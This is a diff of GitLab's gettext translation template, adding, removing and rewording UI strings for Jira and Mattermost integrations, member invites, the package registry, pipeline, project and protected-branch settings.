+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
